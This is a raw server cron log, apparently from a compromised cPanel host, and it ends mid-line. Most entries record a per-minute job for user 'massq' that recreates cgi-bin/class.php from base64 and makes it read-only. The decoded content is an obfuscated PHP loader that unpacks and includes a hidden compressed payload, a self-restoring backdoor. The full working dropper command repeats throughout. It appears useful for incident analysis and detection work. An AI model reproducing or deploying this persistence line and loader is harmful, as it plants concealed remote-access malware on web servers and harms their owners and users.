Nov 14 09:21:01 server CROND[4450]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:22:01 server CROND[5305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:23:01 server CROND[6205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:24:01 server CROND[7072]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:25:01 server CROND[7884]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:25:01 server CROND[7885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:25:01 server CROND[7886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:26:01 server CROND[8851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:27:01 server CROND[9392]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 09:27:01 server CROND[9393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:28:01 server CROND[10209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:29:01 server CROND[11118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:30:01 server CROND[11990]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 09:30:01 server CROND[11991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:30:01 server CROND[11992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:30:01 server CROND[11993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:31:01 server CROND[12891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:32:01 server CROND[13761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:33:01 server CROND[14787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:34:01 server CROND[15610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 